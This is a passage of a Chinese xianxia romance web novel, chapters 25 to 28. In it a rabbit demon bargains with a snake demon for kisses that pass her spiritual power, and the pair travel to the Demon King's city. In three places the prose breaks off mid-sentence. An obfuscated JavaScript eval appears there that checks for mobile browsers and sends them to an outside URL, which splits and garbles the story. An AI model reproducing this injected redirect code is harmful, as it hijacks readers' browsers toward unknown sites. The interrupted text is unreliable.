可是,他说的好诱人啊。 佛子的息尘就是个呆瓜,明显的,吃掉阿裴比吃掉息尘更简单。 尤其是,他都邀请她了。 玉扶怔怔看着妖孽一样的阿裴,他好华丽,同圣洁的佛子相比,浑如妖孽。 她朝阿裴踏近了一步,舌尖下意识地勾入唇角的津液。 色气的小兔。 裴息尘微眯着眼地想,立在原地没有动。 玉扶揪住了他的衣袖,抬头倾向他,“你保证不会吃掉我?” “食物的那种吃。”玉扶特意强调地补充。 裴息尘掌住她的腰,带鼓励地笑道:“不会。” 又是那种坏心肠的坏蛋才有的笑,玉扶踮起的脚尖往下落,开始拉远距离,她总这样,反反复复,面对阿裴总没有对佛子的安全感。 她自己也不知道为什么会这样,大概因为他是蛇吧。 她是兔子,趋利避害的本能罢了。 但这一退并没有逃离裴息尘,他顺着她的退却,倾身向她,眸中的光彩,仍像猛兽,不过比之猛兽又多了些慵倦,就好像有无限的耐心等着猎物的靠近。 玉扶明知自己是猎物,可又舍不得他放出的饵,她有时候很胆小,可有时候又很贪心,贪心得大胆到成为一个赌徒。 她听见自己在疑问,嗓音带着颤的,胆怯的同时又像是在嗔怪:“你总用像是很饿的眼睛看我。” 息尘是不会有这种眼光的,他温和,平静,偶尔严肃,不会发绿光。 裴息尘扯了扯唇,上半身被她格挡地当胸推远了些,他也不反抗,并不松手地借着这距离,用一种观察的眼神瞧她,她天真纯美得不像是妖。 到底是被保护的多好,才会问出这般天真的问题,她这样香,蛇的眼睛当然会发绿光。 可裴息尘现在并不想吓她了,他发现了更乐趣的等待,瞧着又怂又色的兔子向他靠近,真的是一种美妙的感觉,所有感官都被放慢,放大得充盈了他将近二百年的沉寂。 他以一种自己也难以想象的嗓音诱哄:“阿扶,你亲我一下。” “亲我一下,我就不饿了。” 玉扶睁圆了眼,从未听过这样不正经,还前后毫无瓜葛的要求。 然则,她没有理由拒绝。 是他邀请的。 也是他想她吃了他。 玉扶蠢蠢欲动。 她面颊因羞赧而绯红,目中些微带着踟蹰,她看着他放开了的等待神情,心脏“砰砰”地跳,这张华美惑人的脸,她偷摸过他的鼻梁,点过他的唇,就连额角眉心也令她心动不已。 可要亲哪儿呢? 他好像没有要求。 玉扶盯上了她不喜欢的部位,他的唇。 这里,息尘训过她,阿裴恐吓过她,还咬过她。 要咬回去。 玉扶仰头微启了唇瓣地迎上去—— 好软,还有点凉。 也是干净无比的味道。 不管是息尘,的还是阿裴,他们好像是一样的。 玉扶痴痴地发怔,忘记了报复,只是轻轻地含。 她笨拙,很多学会的东西,第一次得到了实践,她试探地用舌搔过阿裴的唇瓣,然后退缩地回到自己口中。 然蛇的天性好像就是比兔子更放得开,她退,他就进,一股不属玉扶的灵息跟同他的舌吐入她的唇中。 同佛子温暖纯净的灵力不同,它冰冰凉的,甫一入内,就自发地缠上了她的神魂小兔,神魂被扑倒,蛇形拉长地缠绕,蛇首不断往她颈下拱,蛇信卷过她的唇、鼻、颊靥,逼得她的神魂也吐出一点透色的舌尖与他相碰。 剥离肉-体阻隔的相碰,玉扶很快哼哼唧唧起来,送上更多自己的唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307435|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急切的咬,急切的含,胸1脯强烈起伏得喘不过气来地还是不满足,喉咙里转着难受的低泣,身子扭啊扭地往裴息尘的怀里蹭,她想要更多连自己也不明白的东西。 她好想求求他摸摸自己,还想要更多他的灵力。 她又哭了,眼角沁出泪意,皮肤也染上了一层浅浅的红,轻易地就被勾起所有身体本能的情1潮。 她变得比以往的每一次都要奇怪。 都怪他! 玉扶迷离又怨念地盯着同她分开的唇。 薄薄的,绯红无比,还残留着些透明的水液。 她又凑上前去。 只亲得了他的下颌。 裴息尘笑着直起了身子,指腹滑过唇下的水液,动作慢得直如勾引。 玉扶看红了眼,拉他:“我还想亲你。” 贪心的兔子。 上钩了的兔子。 裴息尘目光落在她面上,笑得肆意又坏蛋:“阿扶,你今日已经亲过了。” 玉扶于不满中敏锐地捕捉到了“今日”二字,下意识地追问:“那明日是还有吗?” 玉扶已分不清她要的到底是亲吻,还是那缠上她的灵息。 这些都令她感到舒适,神魂飘飘然地强了几丝,她食髓知味地通晓了何为神交,显然的,方才的还远远不是。 她不经想,真正的神交又该是怎么样地令人舒服,她的修为又能涨上多少? 她浓稠期盼的目光紧盯着裴息尘,企图从中听到想听的答案。 “阿扶,每日是不是太贪心了些?” “不过,我答应你了。” “只要你是我的小兔。” 裴息尘捻上玉扶的一缕发,每个字都吐得极为缱绻。 玉扶一时喜悦,又一时迷茫,她好似并未提过每一日? 笨兔子。 裴息尘很快放开了她的发,兀自向前走,于玉扶瞧不见的地方,非人的舌再次卷过了唇壁,每一丝每一毫独属于玉扶的气息都被卷入吞腹。 腹部热流滚动,他的感官在逐渐侵蚀这具清修圣洁的躯体。 26. 第 26 章 玉扶最后将那一团已小如珍珠的灵息吞入腹中,没了半分力气,胸1脯一会一会地起伏着,眼底仍荡着迷离的余韵。 她好想翻过身,将自己藏起来,她从不知,亲吻还能这样过分,灵力却还没有抢到多少。 她觉得自己上当了。 “我不要每一日了。”玉扶闷闷地寻回一点声音,娇得可怕。 裴息尘坐起身,向她垂眼,“为什么不要?” “太凶了。” “太小气了。” 玉扶胆子愈发大地直言。 裴息尘拭了拭玉扶一片水光的唇瓣,倾身,长长带点卷的乌发又落在她身上,他笑得一派妖孽:“阿扶,出尔反尔可不好。” “你确定要我答应你吗?” 玉扶震惊于他的好说话,心中纠结无比,她有点惧,可又有点儿贪心。 她知晓的,渡情期是一整个身体阶段的反应,不是一朝一夕很快就能解决的,且她与阿裴的实力相差过大,现在吃一点吃一点地适应无疑是最好的选择,可若每一日都这样亲好久,得到的却总不令人满足的话,玉扶又觉得自己亏了。 她估摸着自己的需求,爬起身地与他商量:“可不可以隔几日亲一下,给多一点呀。” 裴息尘直望入她的眼,干干净净,娇憨懵懂得全然只有为自己考量。 贪心的兔子,自私的兔子。 裴息尘轻笑一声,答应:“可以。” 玉扶眸中亮出惊喜,他这样好的话,她都开始有些喜欢他了。 裴息尘又对她笑,指腹一点一点地摩挲她的颊靥:“那阿扶,你觉得隔十日如何?” 玉扶想了想,她已提出一次要求,再挑三拣四,阿裴会不开心吗? 十日的话,好像也不久,毕竟他的灵力同息尘的很不一样,是活的呢—— 带有他意识的活的。 这种活感,比普通的灵力更难得,可也更刺激,玉扶沉浸时不觉得,可抽离后又觉还没适应,十日便十日吧。 她不再多试探地点头。 裴息尘好整以暇地见她纠结,又见她点头,半点不犹豫地答应:“好,一言为定。” “阿扶,你出去吧,去收拾一下,晚点我们离开。” 对于这,玉扶并不意外,妖狱的所有限制被破,不再只进不出。 她与裴息尘自是要离开的。 只是,她并没有什么好收拾的,这儿,也不像人修的城镇,需要去补一些资源。 玉扶疑惑一会,却并不质疑为什么不现在走,反正,她已经得到想要的了,还是很稳定的那种。 她抑不住开心地离开,贴心地关上了门。 而在她不知的房内。 强大妖息布满了整个空间,床榻之上的裴息尘,慵懒地靠在床柱之上,腰腹微拱,胯骨往下的巨尾直从床榻蜒到屏风之处,尾巴尖快乐地拍打摇晃着。 他半人的身躯在向下滑,躺倒在床面,劲悍削薄的腰收紧,往下的一块蛇鳞处突兀地被顶起。 微微上翘的眼角,眼皮堆起享受似的褶,他下滑更甚,蛇尾一圈一圈地盘起,蛇腹摩擦,蠕动,每一下都照顾到突兀之处。 脖颈青筋开始臌胀,喉结沁血一样红,仰靠榻沿,笑意却更甚:“贪心的阿扶,你会求我的。” 被剥离,被关二百年,总让他有足够的耐心,去等待,去引诱。 许久,房中各种沙沙声仍在持续。 * 犹在对水照镜,检查被咬破皮的玉扶,忽地发了个颤。 一种被猛兽盯上的感觉。 狐疑往四周看了看,又觉是多心,还有什么猛兽能凶得过裴息尘? 她兀自地又去照水,嘴唇嘟嘟的,被亲肿了。 又吐出点舌尖看看,红彤彤的,舌根都还在发麻,双靥更是烧得发烫。 真奇怪,也真不公平,为什么每回失态的只有她? 还有,为什么阿裴用着息尘的身体,技术这么娴熟啊? 他是不是偷偷跑出来过,亲过其他妖? 玉扶很不服气。 息尘应该是她的,她都没有亲到过呢。 至于阿裴,玉扶并不敢将他归为自己的,可她就是觉得他不该亲别的妖,尤其是还用息尘的身体。 她一会对阿裴生气,一会又对息尘惋惜,甚至还生出些渴望,期待息尘也像阿裴那样对待她,他一定比阿裴温柔多了。 最后,玉扶决定,若是息尘醒了,她与阿裴的约定也不能作罢,她要去寻息尘讨要,是他自己承认的,阿裴也是另一个他。 但在这之前,她也要努力修炼。 不管是阿裴还是息尘,她与他们的实力相差都太大,空抱着一座金山银山啃,她却消化不了多少,可真是,太浪费了。 玉扶并不喜欢浪费。 当下勤奋地化解起他哺来的那一口灵息,不过,抢到的实在太少了,才没一会就全化为了她的一丁点儿修为,也就顶个几日的修炼吧。 无法,只能护食地计算,十日的话,要多大团的灵息才能不亏—— 犹在想着,裴息尘终于穿戴整齐地出现了。 他似乎真的很不喜欢束缚,颈子往下总是露出一块小v形的胸膛,也不知是不是热的,那一小片肌肤还洇着红。 玉扶本就不是多知晓羞耻的妖,好不容易跟同息尘学会一些,阿裴又告诉她是错的,她眨了眨眼,视线大胆地落在了阿裴的那片肌肤处,问:“我们是要离开了吗?” 裴息尘:“是。” 声调中全是磨人耳朵的倦懒。 玉扶很怀疑他这没精神的声音,真的做好离开准备了吗? 眼睫上抬,更是见他完全就是一副要睡过去的样子。 明明先前给她哺灵息的时候还没这么没精神呢,她不免为自己口粮的健康担忧:“要不,再歇歇吧。” 裴息尘打着哈欠往前走:“不歇。” 他自己都说不歇了,玉扶还能说什么,只好追步上前,问:“那我们接下来是去哪?” 她对这些去哪,怎么去,全然是一点也不知的,她之前做的,也只要跟着就行了。 但现在她对突然取代了息尘的阿裴真的很怀疑,他真的能带路吗?他知道进了妖域要去哪吗? 他也是同息尘一样要去寻狐妖吗? 他不会又迷路吧? 玉扶很难不操心,但更担忧的是,他与息尘若是总突然的交换,目的又不一致的话,她不会要一直陪他们在妖域里打转吧? 裴息尘也被玉扶问住了,“唔”一声,从储物中掏出几块兽皮,还是从蛮虎妖那收缴来的,记录了不少的妖域划分。 “去妖王城。” 玉扶凑过去看,也不知这到底是多少年前的地图,妖王城算是上头最清晰的字迹了。 不会是因这选的去妖王城吧,玉扶狐疑看他。 裴息尘却已折起地图。 定下去处,他也不自己走,凶剑从他袖袍中飞出,不一会带回个还没来得及离开的鸟妖,逼着鸟妖化回原形,带着他们飞。 妖域极大,就算是鸟妖也常需要停下歇歇,他们有时落脚在妖兽频出的林间,有时候落在妖城中。 其中,玉扶见识了好些不同的妖城,有以种族聚居为城的,特别排外。 也有依附某一个大妖汇成城的,遇到这类城,鸟妖偶尔会避着飞。 鸟妖不敢同裴息尘说话,但对玉扶,还是敢解释几句的:“玉扶姑娘,你刚入妖域不知道,不少妖城的大妖都同蛮虎差不多,全不拿妖当妖,要入城就要上供。” “要定居还是要上供。” “有时候上供都算是好的,能得庇护,最怕的是有些大妖有独特的癖好,路过都要被抓了用来当炼材。” 鸟妖说到此的,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325285|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸无比,可不是吗,他现在就从猛禽成了坐骑。 玉扶全然没有压迫一方的自觉,好奇问:“不能自己在外开辟洞府吗?” 鸟妖显然被玉扶的天真噎了一下:“玉扶姑娘,你也见到了,这外头可到处都是妖兽啊。” “只有大妖才有本事自己开辟洞府。” “像我们这种小妖,侥幸生了灵智,化了形,虽高了普通妖兽一等,可也奈不住日日防着他们。” 况,有些化不了形的妖兽,也不是就说它们不强了,而是牺牲的智力都往其他方向进化了,尤其是高阶的妖兽,皮糙肉厚得几乎能与元婴往上的妖修抗衡。 玉扶点了点头,往鸟妖的下方看去,妖域的环境似乎天生就易于妖兽的生长与孕育,只一眼就能看到大片大片的妖兽在捕食、在争斗。 就这样,玉扶一边看一边问,对妖域开始有了解。 其中,妖王城群妖汇聚,来者不拒,还有自成的一套城中条律,是每只妖昔日向往的地方。 至于为什么是昔日,那就要说到妖王身上。 妖向来实力为尊,妖王也不是生来就是妖王,而是,妖王曾用几百年时间,将整个妖域的大妖都寻出来揍了一顿,以一己之力镇住整个妖域,这才独辟了妖王城,令万妖臣服上供。 而这能力压整个妖域的妖王,已有许多年没有现过真身,余威虽在,妖心却不古,各种猜测与欲挑战妖王权威的妖尤多。 妖王城之外的地方,这些年都不知有多少脱离了妖王城掌控的,就是妖王城内部,也有大妖在往外扩张势力。 总之妖域现在根本没有绝对安稳的地方,说不得哪一日就要打起来了。 玉扶零零碎碎地听了许多,得出结论,那就是还没开打,妖王城有好多大妖坐镇,相互牵制,算得上安全。 玉扶心大地想,又无聊地看向在鸟背上打瞌睡的裴息尘身上。 她慢慢挪过去,算着日子,从妖狱出发,已经过去了十三日,三日前,阿裴如约给她渡了灵息。 但和最初的两次都不同,他好敷衍,灵息是死的,就和息尘过往渡过来的差不离,就纯纯的灵力,一点也不是那种能纠缠着她神魂玩的小蛇。 玉扶同他理论,他就嗤她:“阿扶,十日份带我神识与魂力的灵息小蛇,你能吃得消吗?” 眼中明晃晃的嫌弃她弱。 玉扶气红了眼,和说好的完全不一样,但谁让她弱呢,所以,她已经单方面三日没有和他说话了。 有鸟妖在,她倒也不无聊,可要是一直这样下去,他下次更克扣她怎么办? 玉扶拉了拉他袖角,没话找话地问他:“鸟妖说的妖王好厉害,阿裴你听说过吗?” 裴息尘单手枕在脑后,空出的那手摆了摆,从玉扶手中扯出了衣袖,嗓音又懒又淡:“没听过。” 他好冷淡,玉扶有些自讨没趣,可明明是他骗了她。 他真的坏,说话不算数。 她都主动要与他和好了,他还这样拿乔! 如果是息尘的话,才不会这样。 玉扶咬着唇,越想越觉得委屈,背过身抹眼泪,动静窸窸窣窣的。 裴息尘再躺不下去,支腿坐起,恰能看到她抽搭搭发抖的肩膀,她这么小,可怎偏这么能哭? 吓到要哭,生气了要气哭,委屈了也要哭…… 裴息尘觉得该治一治她这说哭就哭的毛病,他扯过她的臂,压下脸,沉声恐吓:“再哭,我就吃了……” “你”字还未吐出,“啪嗒”地一滴泪先落到了他手背。 她的泪水总不是那种又凶又急地往下掉的,而是尤为含蓄、忍耐地在眼眶打转,望着人时,才倏地“啪嗒”落下一滴来。 此时,她就这样红着眼被他扯得扭过半身,眼眶中余的泪尤在憋着,忍着,就连说话也带着湿漉漉的味道:“你又想吃我了?分明说好不会吃我的。” 27. 第 27 章 玉扶的化形一直是很漂亮的少女,即便是哭,也极牵动人心。 妖也不例外。 她的泪就像一场雨,淅淅沥沥的,在妖心里也下起来。 裴息尘渐松了抓着她手臂的力道。 可玉扶哭归哭,倒也没忘记为自己据理力争:“你已经骗了我一次,我吃亏那么多,哭都不让哭,还又要吃我。” “你怎么这么不讲理!” 每说一句,眼就虚虚地上撩,觑裴息尘一眼,嗓音也弱弱的,带着哭腔,瞧着很是胆怯。 可真胆怯,就不会指责了。 被宠坏了的兔子,在试探他的底线。 他慢慢露出一个轻慢的笑,都不想发火了:“我懒得吃你。” “不过,再哭就不一定了。” 玉扶眨了眨眼,泪意收放自如地望向他,就像是收到善意信号似的,她又开始大胆起来,挪一点地靠近他:“那我们可以和好吗?” 裴息尘瞥了她一眼,一眼可见的浅白心思,分明是她与他冷战,现进行不下去,又偏想下一个十日能如约,示好得可真是无利不起早。 裴息尘牵动一下唇角,笑得理所当然:“可。” 不知为何,他太痛快了,玉扶反有些防备起来了,除了三日前的欺骗,裴息尘简直好说话得就像没脾气。 刚开始,玉扶认为是因为他懒的缘故,可他方才分明是想收拾她的,一瞬的功夫,又对她让步了。 他的让步,就像是,有更大的陷阱在等着她跳进去。 然还来不及多想,鸟妖开始俯冲,继而平缓落地:“两位,妖王城到了。” “我可能走了?”他化为人形,目光战战兢兢地对上裴息尘。 这位杀了蛮虎的大妖,完全不知是何来历,这一路,也就那小兔妖全然没有感觉,他可时刻都如芒在背,但凡他飞得慢了,亦或休息时同兔妖离得近了一些,那冰凉凉的妖息顷刻就缠上了他的脖颈。 也真不知道小兔妖哪来的胆,方才竟还指责大妖。 他完全不想再同他们一路了。 裴息尘话都懒的说,微并指动了动,鸟妖就如得到什么赦令,一瞬冲入天际消失不见。 玉扶张了张唇,憋下了告别,她还以为鸟妖也是对妖王城有向往的呢。 “走了。”裴息尘喊了一声,率先行在前头,走向妖王城。 玉扶立即跟上。 妖王城同妖狱完全是不同的妖城,第一眼的城门就可见区别,高耸,恢弘,庞大的阵法域界连同城外的数里都囊括在内,在妖兽众多的妖域中显出不一样的明亮之感。 她听鸟妖说过,妖王威望最重时,妖域所有种族的大妖,每隔十年就要来送一次礼。 如今妖王虽不知为何不再现身,但这座城,显见的仍维持得不错,进入时,甚至不用交什么供奉,就如同修界中的一座普通城池一般热闹、寻常。 若非要寻出点不同的话,那就是—— 这里的妖比她见过的都要大胆,衣着暴露,妖形也千奇百怪。 方才从他们身边走过的一蝎虎女妖,上衣只围住了胸前的一段,下摆也都是散开的,走动间,尾巴不时从裙底探出,大片的肌肤从脚踝直到腿根皆可见。 这还算是有审美的妖,有的妖满身虬结肌肉,往上一看,是个兽头…… 玉扶看得津津有味,借鉴到不少有意思的变化。 然也是在她学习的关头,裴息尘正被一群女妖围着。 妖王城不像妖狱,这儿自由出入的女妖甚多,女妖们的审美也与男妖们颇不同。 男妖化形时,总想保留着原形中一些引以为傲的部位,殊不知,除了他们自己,真的少有女妖会欣赏。 就这样奇形怪状的妖中,突然出现一个审美极好,化形俊美又不失野性的妖,如何不惹眼。 几妖争抢着对裴息尘邀请: “这位妖君,可要去我铺中坐坐?我可为你量衣。”说着手指几乎要搭到了他的肩上。 裴息尘还没动,先有一妖推开了先才的女妖,啐道:“就你那都是兽皮的衣铺子,也不嫌腥的慌。” “这位妖君,还是去我的酒肆坐坐,我家的酒,可都大补。”说着身子靠向裴息尘。 衣铺女妖当即拉了酒铺女妖一把,互不相让地兀自争了起来,反倒便宜了余的一水妖近得了裴息尘身边。 水妖眸色潋滟地落在裴息尘身上,却不比先才两个唐突,而是顺着他的视线望去,发现他在盯着一小兔妖。 小兔妖于妖中少见的纯美,瞧着就好骗,正被几个人高马大化形只化一半的男妖围着献殷情,求偶呢。 他们逼近她,几乎要将她围得看不见。 水妖问:“妖君可是认识那小兔妖,那几个可不是什么良善的妖。” 妖王城瞧着安稳,可能于这里安生下来的,哪个不是手里头有些本事的,尤其是围着兔妖那几个,水妖还真认得,这是外城巡护队的。 妖王城分内外两城,外城多为她们这样有点本事但算不上大妖的普通妖居住,内城最大的建筑无疑是妖王的宫殿,旁的还有一些妖将与迁居而来的大妖洞府。 也正是还有颇多的大妖坐镇,外来挑战妖王权威的妖们才没有在妖王城惹出乱子,但也不是说这些妖王城的大妖就没有野心了,不过是都相互对峙着,仍让妖王城处于安稳的状态罢了。 至于外城巡护队的这些妖,平日里也多有些仗势,对新入妖王城的妖也常看碟下菜。 水妖是认定了他们欺负兔妖,只是不知身旁这个俊美的男妖对那兔妖到底是否一起的? 若真是一起的,那倒能知晓他也不是不能接近的了,妖嘛,春风一度,又不是什么稀罕事,兔妖可以,那她也可以。 水妖:“妖君不去帮帮那兔妖?” 然甫一对上裴息尘的双眼,噤了声,那一眼,肆意的杀意全是对她的不耐烦。 她在倒退,在害怕,也在发颤,蛇影缠上她的脖颈,窒息真的在到来,她开始踹不上气,唇大张着,眼眶被逼出了泪。 她快死了,可周遭就像是对她的境遇无察一般如常。 妖王城并不禁争斗,但能将妖杀得这样不动声色的,水妖还是生出了不该招惹的无边懊悔。 她伸出的手,极想同旁还在吵架的两女妖求助。 将要碰上时,却触上了一层水波一样的结界。 她彻底放弃了挣扎。 却也是这时,蛇影松开了她。 裴息尘嫌杀了难处理,视线根本没落在她身上地道:“滚。” 水妖气都没喘匀,几乎是爬着跑了。 一切不过几个呼吸的功夫,裴息尘目光重新落在玉扶身上。 帮? 他可没瞧出玉扶被欺负,他见她同男妖们唠得还挺开心的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351154|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这已不是第一次了,同鸟妖亦如是,她好像天生就会讨人喜欢,只要她愿意。 裴息尘想的有些不悦,他该将她抓回来,好让旁的妖知晓,这是他的小兔。 可又经不住地比对,同样是怕他,在他面前发抖流泪…… 怎旁的妖,他就一点感觉都没有。 而玉扶,他有时会觉得她害怕得有趣,哭起来也怪好看的,还想尝尝她的泪带了什么真实的情绪,当然,有时也会对她哭起来感到不耐烦,想让她赶紧别哭了。 许是抢来的都比较特殊些罢。 他抬步,已不准备再放任她。 玉扶也恰从妖挤出来的缝隙中瞧见了裴息尘,她虽然被围着,但并没有被欺负,这些巡城的妖要送东西给她,她拒绝了,不过玉扶第一次来妖王城,便多同他们多问了些问题。 此刻,她绕开这些化形化一半没审美的男妖,跑向裴息尘:“阿裴,我同他们问到狐妖的下落了!” 玉扶兴冲冲的,满是邀功的显摆。 裴息尘为她撩了撩落到额前的发,古怪地笑:“阿扶,我从未说过要寻狐妖。” 语气阴冷得近乎妖冶。 玉扶僵得动都不敢动,脑子不断地回想,回想每一句说过的话,有息尘的,也有裴息尘的。 然后惊觉,虽然不管是息尘还是裴息尘都说要来妖域,可从始至终,明确说过要寻狐妖的只有息尘。 而阿裴,她虽问过他为何要去妖域,但他从未回答过自己。 玉扶头皮又在发麻了,她真的很为难,他们都说是同一个人,可行为态度表现出完全相互排斥的两个人。 长得又一样,谁能时时刻刻记得他们分别说的话啊! 玉扶崩溃得瞳仁都呆滞了,脑筋飞快转着:“我猜的。” “那你猜错了。”裴息尘毫不迟疑地否定。 “可我有听见你在数狐妖剩余的尾巴。”玉扶小声辩解,她敢肯定,阿裴说不寻狐妖,但狐妖一定是惹到了他的。 不然大老远一个、两个都跑妖域做什么? 玉扶见他半天没吭气,默默离他远了一步,绕过那些会让她头皮发麻的问题,直击主题:“那我既然已经问到了,你到底想不想知道呀!” 裴息尘:...... “说来听听。” 玉扶哼哼地看了他一眼,她就知道,他分明也想知道的,就是故意要抓她错处。 总这样,冷不丁地,不是要她在息尘和他之间,做出甄别,就是做出选择。 心眼小的很。 “哼什么哼,不想说就别说。”裴息尘恼了她,真是惯出来的,动不动就哼哼哼,跟小猪一样,他迟早收拾了这色兔子。 玉扶又重重哼了哼,才顶着裴息尘沉下的脸开始说:“那狐妖还真就叫雪仙。” “是妖王现下的护法,妖王不曾出面的这百余年,都是由她在妖王城代掌职责。” “她平日里住在内外城交界的七欲楼中。” 玉扶独自在说,看一眼裴息尘,见他根本不像在听的样子,拉住了他衣袖。 裴息尘扭头不解看她。 “你不能走慢一点嘛,我说话的时候,跟不上你。” 裴息尘低头,看着她缺了绒球的发顶,嗤地笑了,腿短确实跟不上他。 也难怪会落后被不相干的妖缠上。 “行,你继续。” 28. 第 28 章 裴息尘大发善心地放慢了步子。 玉扶再说话时,跟上他就不费力了:“我打听到那狐妖前些日子刚回了妖王城。“ “听说受了伤,现在只剩下了三条尾巴。” 玉扶当然知道狐妖是为什么受伤,也肯定是后来的人修又断了狐妖一条尾巴。 故而,嗓音中全是幸灾乐祸,上翘的尾调,愉悦的很。 光是听着,就可见的记仇。 裴息尘也不催她说快点,似觉得就这样慢慢听,耳朵还怪舒服的,比平时哼哼哼的可爱多了。 不过,玉扶也没乐多久,就担忧了起来:“其他的我就没怎么打听到了。” “她要是发现我们也在妖王城,会不会来寻我们麻烦啊。” 三条尾巴,她不会认为息尘打不过,可是,狐妖还是妖王护法的话,在这座城的权利就可大了。 裴息尘不爽地扫玉扶一眼:“你觉得我会怕?” 他十足的坏人气质,尤其是用冠束上一半马尾时,微卷的发很不逊地蓬着,稍收一点懒散,就于贵气中掩不住的野性。 他当然是不怕。 玉扶弱弱扫他一眼,收回视线道:“我怕。” “你不怕我却去怕他们?”裴息尘停了步子,不痛快地眯了眸:“看来我是对你太好了。” 玉扶简直惊了,他哪里对她好了,动不动就对她冷笑,威胁要吃她,还给点甜头后就骗她,步子走的也大,一点也不管她跟的吃不吃力,还有,用想把她当坐骑的眼神看她…… 坏得没边了! 怎么好意思说出对她好的? 要不是他用的是息尘的身体,要不是他不放她跑,也要不是他诱惑她,她才不跟着他! 裴息尘被玉扶震惊抗拒的神情刺激,单手捏住了她的脸:“色兔子,你在想什么?你还有什么不满意?” “是我亲得你不舒服?” “还是我给你灵力不如别人?” “没有我,那个废物能带你走出妖狱?” 许是玉扶脸蛋的手感好,他说一句,就揉搓似的松一下又挤一下她脸蛋,最后将她的唇挤成了夸张的嘟起,跟吐泡的金鱼一般滑稽,他乐了地道:“阿扶,你是我的小兔子,谁敢伤你一根毛,我都要他——” “不得好死。” 森森然的几个字吓得玉扶都在他手下发抖了。 裴息尘却又笑着低头,夸奖道:“对,就是这样,阿扶,就算是要怕,也该是这样怕我就好。” 他简直有病!偏玉扶还反抗不了,艰难于他手中点了点头。 裴息尘啄了一口她夸张嘟起的唇,松开了她脸蛋,又心情很愉悦地走在前头。 玉扶鼓起腮帮活动了一会,才消散了他留在身上的压迫感。 适时,裴息尘又驻足,妖孽地瞥眼过来,玉扶脸也不揉了,立马跟上,乖巧得不像是兔子精,像是鹌鹑精。 妖王城极大,他们漫无目走一会,不用刻意打听,就听到了不少消息,妖王城的内城除了雪仙这个护法以外,还有三个在妖域极有影响力的妖将,背后皆有一整个种族的支持。 与其说妖王城现下的安稳是妖王的缘故,倒不如说是这些大妖们相互平衡的结果。 前任妖王已经占据妖王的位置太久,若她仍在,实力也仍在,那众妖依旧尊她为王也无不可。 可自从两百多年前开始,妖王就不曾真正出现妖前,每每都是巨大的蛇影投现,起初就曾有妖发现妖王的虚弱,蛇形像是在痛苦。 然而,那时还是妖王治下极盛之时,质疑很快被压下。 后来,妖王蛇影再现,妖王城中死了数位排得上号的大妖,其中不乏是最先质疑有异心的妖。 自此,妖王城中的大妖们安分了很长一段时间。 也是这近百年,他们才再次开始质疑起妖王的存在,她实在不出现太久,距离上次显形过去了至少有百十年,且蛇影明显地出现些古怪的形状。 不像是蜕皮,更像是吞吃了太多奇形怪状的妖物,即将崩溃的形态。 大妖们不是没有怀疑,而是,比起怀疑,比起去探究妖王到底发生了什么,倒不如在明确知晓妖王不行下,先扩张自己妖族的势力。 玉扶本只是想再探听一些同雪仙相关的,没想热心肠的妖会从头到尾地为外来的他们科普,当然,如果这个女妖不总把目光黏在裴息尘身上就更好了。 这是息尘的身体呢,阿裴不能这样乱和其他女妖眉来眼去! 玉扶往前一步,挡在了裴息尘身前。 女妖轻笑一声,这小兔子还怪护食,她故意忽视玉扶,对裴息尘邀请:“这位妖君,还想知道什么,不若我为你安排个房间,我们细谈。” 女妖名蛛娘,开的是一家客栈:“我在此开了几百年客栈,这城中的事,不敢说全知道,但知道个七八成还是有余的。” “就拿这内城的三大妖族与雪仙护法来说,他们之间的联系可乱了呢。” 蛛娘用羽扇遮了唇地娇笑,眉眼中全是勾子:“妖君难道不想知道雪仙护法为何独住在内外城的交界吗?” 裴息尘推开身前的玉扶,道:“要两间房。” 他花钱一点节制也没有,满满一袋的妖丹全抛给了蛛娘。 里头都是往妖王城来的这一路,休息时杀的一些妖兽,鸟妖不敢昧下,每回掏出来处理干净了交给裴息尘。 还是玉扶同鸟妖闲话,才知晓的妖丹可以在妖王城中使用,玉扶死死盯着被他爽快给出的妖丹,嘴巴撅得老高,尤其是听到他要的是两间房,更是担心地拉住了裴息尘:“你让我一个人睡吗?” “阿扶,你是母兔子,我是男妖精,授受不亲,当然是各睡各的。”裴息尘揪开了玉扶的手道。 玉扶快哭了,原先息尘跟她分房也用这个理由,可阿裴跟她亲都亲过了,在妖狱的最后一晚,她偷跑到他房间,也不见他拒绝,怎现在到了妖王城,见了旁的女妖,就要与她兽兽不亲了。 她看他分明是想和其他的妖,兽兽亲一块去。 玉扶倔强地盯着他的胸膛,这又不是他一妖的身体,她要在息尘不在的时候,看住了阿裴。 “小兔妖,男人可不是你这样胡搅蛮缠守得住的。”蛛娘也拦了一拦玉扶,又对大堂中的帮工小妖喊:“没眼力见的,还不去取了两间房匙来!” 